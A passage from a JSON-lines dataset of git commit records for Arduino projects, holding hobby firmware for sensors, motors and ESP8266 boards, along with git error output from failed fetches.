break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA8:\t\t SPI0_PUSHR_SLAVE = tsopData[8];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA9:\t\t SPI0_PUSHR_SLAVE = tsopData[9];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA10:\t\t SPI0_PUSHR_SLAVE = tsopData[10];\t\t break;\t \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA11:\t\t SPI0_PUSHR_SLAVE = tsopData[11];\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA12:\t\t SPI0_PUSHR_SLAVE = tsopData[12];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA13:\t\t SPI0_PUSHR_SLAVE = tsopData[13];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA14:\t\t SPI0_PUSHR_SLAVE = tsopData[14];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA15:\t\t SPI0_PUSHR_SLAVE = tsopData[15];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA16:\t\t SPI0_PUSHR_SLAVE = tsopData[16];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA17:\t\t SPI0_PUSHR_SLAVE = tsopData[17];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA18:\t\t SPI0_PUSHR_SLAVE = tsopData[18];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA19:\t\t SPI0_PUSHR_SLAVE = tsopData[19];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA20:\t\t SPI0_PUSHR_SLAVE = tsopData[20];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA21:\t\t SPI0_PUSHR_SLAVE = tsopData[21];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA22:\t\t SPI0_PUSHR_SLAVE = tsopData[22];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::TSOP_DATA23:\t\t SPI0_PUSHR_SLAVE = tsopData[23];\t\t break; \n\t\t\/\/ case SLAVE2_COMMANDS::VBAT_REF_LV:\t\t SPI0_PUSHR_SLAVE = vbatLV;\t\t\t\t break;\n\t\t\/\/ case SLAVE2_COMMANDS::VBAT_REF_HV:\t\t SPI0_PUSHR_SLAVE = vbatHV;\t\t\t\t break;\n\t\tcase SLAVE2_COMMANDS::TSOP_ANGLE_HIGH:\t \n\t\t\tdataOut[0] = highByte(tsopAngleVol); \n\t\t\tdataOut[1] = lowByte(tsopAngleVol); \n\t\t\tSPI0_PUSHR_SLAVE = dataOut[0];\n\t\t\tbreak;\n\t\tcase SLAVE2_COMMANDS::TSOP_ANGLE_LOW:\t SPI0_PUSHR_SLAVE = dataOut[1]; break;\n\t\tcase SLAVE2_COMMANDS::TSOP_ANGLE_BYTE:\t SPI0_PUSHR_SLAVE = tsops.angleByte;\t break;\n\t\tcase SLAVE2_COMMANDS::TSOP_STRENGTH:\t SPI0_PUSHR_SLAVE = tsopStrengthVol; \t break;\n\t\tdefault: SPI0_PUSHR_SLAVE = 0;\tbreak;\n\t}\n\tspiRequestCount++;\n\tSPI0_SR |= SPI_SR_RFDF;\t\n}\n\n\/\/ Routine to read tsops (as well as batteries)\nvoid TSOP_ISR(){\n\tTSOP_ISR_Count++;\t\n\tif (tsopsOn){\n\t\ttsops.read();\n\t}\n\telse{\n#ifdef DEBUG_SERIAL\n\t\tSerial.print(vbatHV);\n\t\tSerial.print('\\t');\n\t\tSerial.print(vbatLV);\n\t\tSerial.print('\\t');\n\t\tSerial.print(tsops.averageStrength);\n\t\tSerial.print('\\t');\n\t\tSerial.println(tsops.angle);\n#endif\n\t}\n\t\/\/ else, we're in a stage where we're unlocking the tsops.\n\n\tif (TSOP_ISR_Count % TSOP_RESOLUTION == 0){\n\t\t\/\/ TSOP_ISR_Count = 0;\n\n\t\t\/\/ if tsops aren't on turn them on\n\t\tif (!tsopsOn){\n\t\t\ttsops.on();\n\t\t\ttsopsOn = true;\n\t\t}\n\t\telse{\n\t\t\ttsops.finishRead(); \/\/ call this every time you've finished reading\n\n\t\t\ttsops.filterData();\n\t\t\ttsops.getStrength();\n\t\t\ttsops.getAngle();\n\t\t\ttsopAngleVol = tsops.angle;\n\t\t\ttsopStrengthVol = tsops.averageStrength;\n\t\t\t\/\/ tsopAngleVol = -99;\n\t\t\t\/\/ tsopStrengthVol = 150;\n\t\t}\n\t\t\/\/ unlock tsops and read batteries. Must be a multiple of RESOLUTION!\n\t\tif (TSOP_ISR_Count == TSOP_RESOLUTION * 50){\n\t\t\t\/\/ 25500 * 25us = 0.6375s\n\t\t\ttsops.off();\n\t\t\ttsopsOn = false; \/\/ this tells the program to wait before turning tsops back on\n\t\t\treadBat();\t\/\/ don't need to read batteries that often\n\t\t\tTSOP_ISR_Count = 0;\n\t\t\tif (spiRequestCount == spiRequestCount_prev){\n\t\t\t\tledBlinkTime = 30;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tledBlinkTime = 500;\n\t\t\t}\n\t\t\tspiRequestCount_prev = spiRequestCount;\n\t\t} \n\t}\t\n\telse{\n\t\tledBlink();\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'slave2\/slave2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e0771234032141b7737da03c0d1ab691c2140d5a","subject":"Optimise data types","message":"Optimise data types\n\nGratuitous pointless use of globals is not allowed.","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/SerialCallResponseASCII\/SerialCallResponseASCII.ino","new_file":"build\/shared\/examples\/04.Communication\/SerialCallResponseASCII\/SerialCallResponseASCII.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref e0771234032141b7737da03c0d1ab691c2140d5a\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"888c6035132e35d3be66472d536c3e3aad5ab322","subject":"adding interrupt pins","message":"adding interrupt pins\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"fdd01615afef58257c057689c12086b61f437e1f","subject":"Cambio de modo de alarma 50 ciclos","message":"Cambio de modo de alarma 50 ciclos\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/alarm-basics\/alarm-basics.ino","new_file":"pocs\/alarm-basics\/alarm-basics.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4353027dfe642b432e84fa4643bac2dc24f80238","subject":"Unperformant coding Master","message":"Unperformant coding Master\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"daf4a77d1a33a6eb1ee58a2fd18683ee3ac34a46","subject":"Cambiado el nombre del .ino para que arduino lo abra sin quejarse","message":"Cambiado el nombre del .ino para que arduino lo abra sin quejarse\n","repos":"DorianHawkmoon\/betaglo,DorianHawkmoon\/betaglo,DorianHawkmoon\/betaglo","old_file":"betaglo.ino","new_file":"betaglo.ino","new_contents":"#include \"Enumerations.h\"\n#include \"ProcessCommands.h\"\n#include \"ComunicacionBluetooth.h\"\n\nconst int DEDOS = 4;\n\n\/\/state of the hand\nint flexs[DEDOS];\nint pressures[DEDOS];\n\n\/\/previous state of the hand\nint previousFlexs[DEDOS];\nint previousPressures[DEDOS];\n\n\/\/processed state of hand\nClickButton buttons[DEDOS];\nboolean flexorActived[DEDOS]; \/\/the value of them is stored in flexs (no need to process them)\n\n\n\/\/values of the flex sensor\nconst int minimumSensorFlex = 10;\nconst int maximumSensorFlex = 40;\n\/\/values which will use with the flex sensor\nconst int minimumFlex = 0;\nconst int maximumFlex = 100;\n\/\/dead zone flexion\nconst int deadFlexion=20;\n\n\/\/values of the pressure sensor\nconst int minimumSensorPressure = 10;\nconst int maximumSensorPressure = 40;\n\/\/values which will use with the pressure sensor\nconst int minimumPressure = 0;\nconst int maximumPressure = 100;\n\/\/dead zone pressure\nconst int deadPressure = 10;\n\/\/strong pressure\nconst int strongPressure = 50;\n\n\/\/time of pressing sensor\nunsigned long timePressure[DEDOS];\nunsigned long timer=0;\nunsigned long timeResponse=200;\n\nconst int FLEXOR = 1;\nconst int PRESSURE = 2;\n\n\/\/pins of sensors\nint flexSensorPin[DEDOS];\nint pressureSensorPin[DEDOS];\n\n\n\/**\n * Read a concrete sensor given the type of sensor and the number\n *\/\nint valueOfSensor(int typeSensor, int sensor){\n int valueSensor = 0;\n int valueFinal = 0;\n\n if(typeSensor == FLEXOR){\n valueSensor = analogRead(flexSensorPin[sensor]);\n Serial.println(\"Flexor: \" + valueSensor);\n valueFinal = map(valueSensor, minimumSensorFlex, maximumSensorFlex, minimumFlex, maximumFlex);\n Serial.println(\"Flexor process: \" + valueFinal);\n\n }\n else if(typeSensor == PRESSURE){\n valueSensor = analogRead(pressureSensorPin[sensor]);\n Serial.println(\"Pressure: \" + valueSensor);\n valueFinal = map(valueSensor, minimumSensorPressure, maximumSensorPressure, minimumPressure, maximumPressure);\n Serial.println(\"Pressure process: \" + valueFinal);\n\n }\n\n Serial.println();\n return valueFinal;\n}\n\n\/**\n * Read the whole state of the hand (flexion and contact)\n *\/\nvoid readState(){\n \/\/read the values of the flex's sensors\n for (int i=0; i<DEDOS; i++){\n flexs[i] = valueOfSensor(FLEXOR, i);\n }\n\n \/\/read the values of the pressure's sensors\n for (int i=0; i<DEDOS; i++){\n pressures[i] = valueOfSensor(PRESSURE, i);\n }\n}\n\n\/**\n * Dado el delay de la ultima vez que se proceso y el boton que se quiere mirar\n * se comprueba si ha habido pulsacion, pulsacion fuerte\/larga o nada\n * devuelve un int que corresponde a la enumeracion\n *\/\nClickButton processButton(int delay, int button){\n int compareStates= ((previousPressures[button]-deadPressure) > 0) ? 1:0;\n compareStates= ((pressures[button]-deadPressure) > 0) ? compareStates+1:compareStates;\n boolean touch=false;\n boolean strong=false;\n\n \/\/comprobamos fuerza, si la supera, es strong y touch\n if(pressures[button]>=(strongPressure+deadPressure)){\n strong=true;\n touch=true;\n\n \/\/boton pulsado antes y despulsado, cuenta como toque\n }\n else if( compareStates == 2 ){\n touch=true;\n\n \/\/boton se mantiene pulsado\n }\n else if(compareStates == 3){\n \/\/sumamos el tiempo transcurrido\n timePressure[button]+=delay;\n \/\/si ha superado el tiempo, cuenta como toque\n if(timePressure[button]>timeResponse){\n touch=true;\n }\n }\n\n \/\/procesamos resultado\n if(touch){\n \/\/seteamos el actual valor como no pulsado para que no se vuelva a tener en cuenta el siguiente frame\n pressures[button]=0;\n \/\/igualmente reseteamos su tiempo transcurrido\n timePressure[button]=0;\n\n \/\/proceso fuerza y accion\n if(strong){\n return long_click;\n }\n else{\n return normal_click;\n }\n }\n return no_click;\n}\n\n\/**\n * Proceso el estado al completo de la mano y actuo en consecuencia\n *\/\nint processState(int delay){\n \/\/ante el procesado, escribir por pantalla que accion ha realizado, despues\n \/\/refinamos haciendo los envios por bluetooth\n\n \/\/comprobamos...\n for (int i=0; i<DEDOS; i++){\n \/\/comprobamos botones\n buttons[i]=processButton(delay, i);\n switch(buttons[i]){\n case normal_click:\n Serial.println(\"Click normal de \"+i);\n break;\n case long_click:\n Serial.println(\"Click fuerte de \"+i);\n break;\n case no_click:\n break;\n }\n\n \/\/comprobamos flexores\n if((flexs[i]-deadFlexion) > 0){\n flexorActived[i]=true; \n }\n else{\n flexorActived[i]=false;\n }\n }\n}\n\n\/**\n * Mueve el estado actual a un estado previo para poder leer el siguiente estado\n *\/\nvoid nextState(){\n for (int i=0; i<DEDOS; i++){\n previousFlexs[i] = flexs[i];\n previousPressures[i] = pressures[i];\n }\n}\n\n\n\n\n\n\n\n\nvoid setup(){\n Serial.begin(9600);\n\n \/\/TODO setear los pines\n pressures[0]=8;\n pressures[0]=10;\n pressures[0]=12;\n pressures[0]=14;\n \n\n for (int i=0; i<DEDOS; i++){\n timePressure[i]=0;\n flexorActived[i]=false;\n flexs[i] = 0;\n pressures[i] = 0;\n }\n \/\/copio los valores al previous\n readState();\n\n timer=millis();\n}\n\nvoid loop(){\n readState();\n processState(millis()-timer);\n \/\/processCommands();\n timer=millis();\n nextState();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'betaglo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e7c09afd748005d8381fed1be9af462c2cda479","subject":"prog add","message":"prog add\n","repos":"ruamberg\/DI_progs,ruamberg\/DI_progs","old_file":"ptp\/p_ptp.ino","new_file":"ptp\/p_ptp.ino","new_contents":"void()\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ptp\/p_ptp.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"ea222ff3657b773838a8ce3512e39f893139a13a","subject":"KP folder","message":"KP folder\n","repos":"ImaginarySenseHackatons\/TrolleySense,ImaginarySenseHackatons\/TrolleySense,ImaginarySenseHackatons\/TrolleySense,ImaginarySenseHackatons\/TrolleySense,ImaginarySenseHackatons\/TrolleySense","old_file":"Hardware\/Ultrasonido_2.ino","new_file":"Hardware\/Ultrasonido_2.ino","new_contents":"\/\/\/ Ultrasonic Senso\/\n\n\/\/ defines pins numbers\n\n\/\/Ultrasonido \nconst int trigPin = 9;\nconst int echoPin = 8;\n\/\/Ultrasonido2\nconst int trigPin2 = 11;\nconst int echoPin2 = 10;\n\/\/ defines variables ultrasonido\nlong duration;\nint distance;\n\/\/ defines variables ultrasonido2\nlong duration2;\nint distance2;\n\nvoid setup() {\nSerial.begin(9600); \/\/ Starts the serial communication\n\/\/Ultrasonido1\npinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\npinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\/\/Ultrasonido2\npinMode(trigPin2, OUTPUT); \/\/ Sets the trigPin as an Output\npinMode(echoPin2, INPUT); \/\/ Sets the echoPin as an Inpu\n\n}\n\nvoid loop(){\n if(Serial.available()){\n delay(10);\n\/\/ Clears the trigPin\ndigitalWrite(trigPin, LOW);\ndelayMicroseconds(2);\n\n\n\/\/ Sets the trigPin on HIGH state for 10 micro seconds\ndigitalWrite(trigPin, HIGH);\ndelayMicroseconds(10);\ndigitalWrite(trigPin, LOW);\n\n\/\/ Reads the echoPin, returns the sound wave travel time in microseconds\nduration = pulseIn(echoPin, HIGH);\n\n\n\/\/ Calculating the distance Ultrasonido\ndistance= duration\/74\/2;\n\n\/\/ Prints the distance on the Serial Monitor\nSerial.print(\"Distance: \");\nSerial.println(distance);\n\n\/\/Clears the trigPin2\ndigitalWrite(trigPin2, LOW);\ndelayMicroseconds(2);\n\n\/\/ Sets the trigPin2 on HIGH state for 10 micro seconds\ndigitalWrite(trigPin2, HIGH);\ndelayMicroseconds(10);\ndigitalWrite(trigPin2, LOW);\n\n\/\/ Reads the echoPin2, returns the sound wave travel time in microseconds\nduration2 = pulseIn(echoPin2, HIGH);\n\n\/\/ Calculating the distance Ultrasonido2\ndistance2= duration2\/74\/2;\n\n\/\/ Prints the distance on the Serial Monitor\nSerial.print(\"Distance2: \");\nSerial.println(distance2);\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hardware\/Ultrasonido_2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fded7a20d641090c54619d90a45ad7feb96bcff2","subject":"Arduino raw c for square wave production on our hardware","message":"Arduino raw c for square wave production on our hardware","repos":"jaredbriskman\/SoftSysAnarchisticAyeAye","old_file":"rawCblink.ino","new_file":"rawCblink.ino","new_contents":"#include <avr\/io.h>\n#include <util\/delay.h>\n \n#define ON_TIME 5\n#define OFF_TIME 5\n \nint main (void)\n{\n DDRA = 0xff;\n\n while(1) {\n PORTA = 0xff;\n\n _delay_ms(ON_TIME);\n \n PORTA &= 0x00;\n _delay_ms(OFF_TIME);\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rawCblink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c78effdd82c39f2675baf8ee69f9c6fdf2df9a1","subject":"fixed button reads and fake fix behavior","message":"fixed button reads and fake fix behavior\n","repos":"bojdell\/lodestar,bojdell\/lodestar,bojdell\/lodestar","old_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller' did not match any file(s) known to git\nerror: pathspec 'Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dadefbdb7171a2bbe46e7e5d6a35349b3a88d989","subject":"last ditch efforts to get this thing moving.","message":"last ditch efforts to get this thing moving.\n","repos":"jzheng84\/igvc-software,zachcmathews\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,rqiu8\/igvc-software,vmurahari3\/igvc-software,rortiz9\/igvc-software,jgkamat\/igvc-software,RoboJackets\/igvc-software,zachcmathews\/igvc-software,thomaswyatt01\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thaeds\/igvc-software,dpattison3\/igvc-software,ytulsiani\/igvc-software,nareddyt\/igvc-software,vmurahari3\/igvc-software,vmurahari3\/igvc-software,zachcmathews\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thaeds\/igvc-software,DavidPurcell\/igvc-software,sgadgil6\/igvc-software,monstorium\/igvc-software,dpattison3\/igvc-software,kscharm\/igvc-software,monstorium\/igvc-software,ytulsiani\/igvc-software,sgadgil6\/igvc-software,DavidPurcell\/igvc-software,ytulsiani\/igvc-software,DavidPurcell\/igvc-software,thomaswyatt01\/igvc-software,jgkamat\/igvc-software,jondolan\/igvc-software,rqiu8\/igvc-software,monstorium\/igvc-software,rortiz9\/igvc-software,nareddyt\/igvc-software,RoboJackets\/igvc-software,jondolan\/igvc-software,seanrsain\/igvc-software,rmkeezer\/igvc-software,jzheng84\/igvc-software,jgkamat\/igvc-software,sayakchatterjee\/igvc-software,seanrsain\/igvc-software,RoboJackets\/igvc-software,prabhu-dev\/LineDetectorLengthFix,sayakchatterjee\/igvc-software,DavidPurcell\/igvc-software,sgadgil6\/igvc-software,zachcmathews\/igvc-software,RoboJackets\/igvc-software,thaeds\/igvc-software,jgkamat\/igvc-software,rqiu8\/igvc-software,kscharm\/igvc-software,vmurahari3\/igvc-software,vmurahari3\/igvc-software,sgadgil6\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,kscharm\/igvc-software,ytulsiani\/igvc-software,kscharm\/igvc-software,seanrsain\/igvc-software,rmkeezer\/igvc-software,dpattison3\/igvc-software,prabhu-dev\/LineDetectorLengthFix,DavidPurcell\/igvc-software,jgkamat\/igvc-software,zachcmathews\/igvc-software,thaeds\/igvc-software,nareddyt\/igvc-software,sayakchatterjee\/igvc-software,sgadgil6\/igvc-software,jzheng84\/igvc-software,sayakchatterjee\/igvc-software,dpattison3\/igvc-software,monstorium\/igvc-software,monstorium\/igvc-software,jondolan\/igvc-software,thomaswyatt01\/igvc-software,jzheng84\/igvc-software,seanrsain\/igvc-software,seanrsain\/igvc-software,jondolan\/igvc-software,rortiz9\/igvc-software,nareddyt\/igvc-software,rqiu8\/igvc-software,thomaswyatt01\/igvc-software,sayakchatterjee\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thaeds\/igvc-software","old_file":"src\/hardware\/actuators\/arduino\/Motors\/MotorDrive_4_GTAB_DEMO\/MotorDrive_4_GTAB_DEMO.ino","new_file":"src\/hardware\/actuators\/arduino\/Motors\/MotorDrive_4_GTAB_DEMO\/MotorDrive_4_GTAB_DEMO.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"320f3c02287cd56937ea8795f6ce42d587f5742a","subject":"arduino file that does one revolution on the stepper","message":"arduino file that does one revolution on the stepper\n","repos":"calcdude84se\/lasersandbox","old_file":"stepper_clockwise.ino","new_file":"stepper_clockwise.ino","new_contents":"\n\/* \n Stepper Motor Control - one revolution\n \n Original code from the Aduino package:\n Created 11 Mar. 2007\n Modified 30 Nov. 2009\n by Tom Igoe\n \n This program drives a unipolar or bipolar stepper motor. \n The motor is attached to digital pins 8 - 11 of the Arduino.\n \n The motor should revolve one revolution in one direction, then\n one revolution in the other direction. \n \n _____________________________________\n \n Serial Events from \n https:\/\/www.arduino.cc\/en\/Tutorial\/SerialEvent\n \n _____________________________________\n \n Modified by Sophia Thach For this project\n 10\/10\/2015\n \n This program drives a unipolar stepper motor. \n (Step Motor 28BYJ-48 5V)\n and using the Arduino Uno.\n \n Acknowlements: Brandon helped alot\n *\/\n#include <Stepper.h>\n\nint stepsPerRevolution = 205; \/\/ change this to fit the number of steps per revolution\n\/\/ for your motor\n\n\/\/counts the number of steps that have been processed. \nint steps;\n\n\/\/verifies for the string that is inputted is complete\nboolean stringComplete=false;\n\n\/\/the string that is inputted\nString inputString=\"\";\n\n\n\/\/ initialize the stepper library on pins 8 through 11:\nStepper myStepper(stepsPerRevolution, 8,9,10,11); \n\nvoid setup() {\n \/\/initialize steps to 0\n steps=0;\n\n \/\/ set the speed at 50 rpm:\n myStepper.setSpeed(50);\n\n \/\/ initialize the serial port:\n Serial.begin(9600);\n \n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop() {\n serialEvent(); \/\/call the function\n\n if(stringComplete){\n \/\/ step one revolution in one direction:\n \/\/while loop ensures that cog takes only 10 steps\n \/\/which is one revolution = 205 (steps per revolution) (divided) 50 (speed)\n \/\/ the extra 5 steps per revolution accounts for error\n\n while(steps<10){\n Serial.println(\"clockwise\");\n myStepper.step(stepsPerRevolution);\n steps++;\n }\n \n \/\/reset all values so you're able to accept a new command (a new string)\n steps=0;\n stringComplete=false;\n inputString=\"\";\n }\n}\n\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n Serial.println(\"hi\");\n stringComplete = true;\n }\n }\n}\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'stepper_clockwise.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e50f81e1c382ddc4885d14232de13a75a87eb442","subject":"added const section","message":"added const section\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b2dbff5f470923b5a582474343cb20c96f29de08","subject":"sensor data problem. the new function very bad","message":"sensor data problem. the new function very bad\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b54b18ac7877c8db8ffb29f059835a3a7375fcf2","subject":"esp 32 experiment","message":"esp 32 experiment\n","repos":"hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi,hamishcunningham\/fishy-wifi","old_file":"ardesp\/waterelf32\/waterelf32.ino","new_file":"ardesp\/waterelf32\/waterelf32.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ waterelf.ino \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <FS.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <DHT.h>\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_TSL2591.h>\n#include <RCSwitch.h>\n#include \"Adafruit_MCP23008.h\"\n#include \"EmonLib.h\" \/\/ Emon Library, see openenergymonitor.org\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ resource management stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint loopCounter = 0;\nconst int LOOP_ROLLOVER = 5000; \/\/ how many loops per action slice\nconst int TICK_MONITOR = 0;\nconst int TICK_WIFI_DEBUG = 500;\nconst int TICK_POST_DEBUG = 200;\nconst int TICK_HEAP_DEBUG = 1000;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ wifi management stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nIPAddress apIP(192, 168, 99, 1);\nIPAddress netMsk(255, 255, 255, 0);\nESP8266WebServer webServer(80);\nString apSSIDStr = \"WaterElf-\" + String(ESP.getChipId());\nconst char* apSSID = apSSIDStr.c_str();\nString svrAddr = \"\"; \/\/ address of a local server TODO 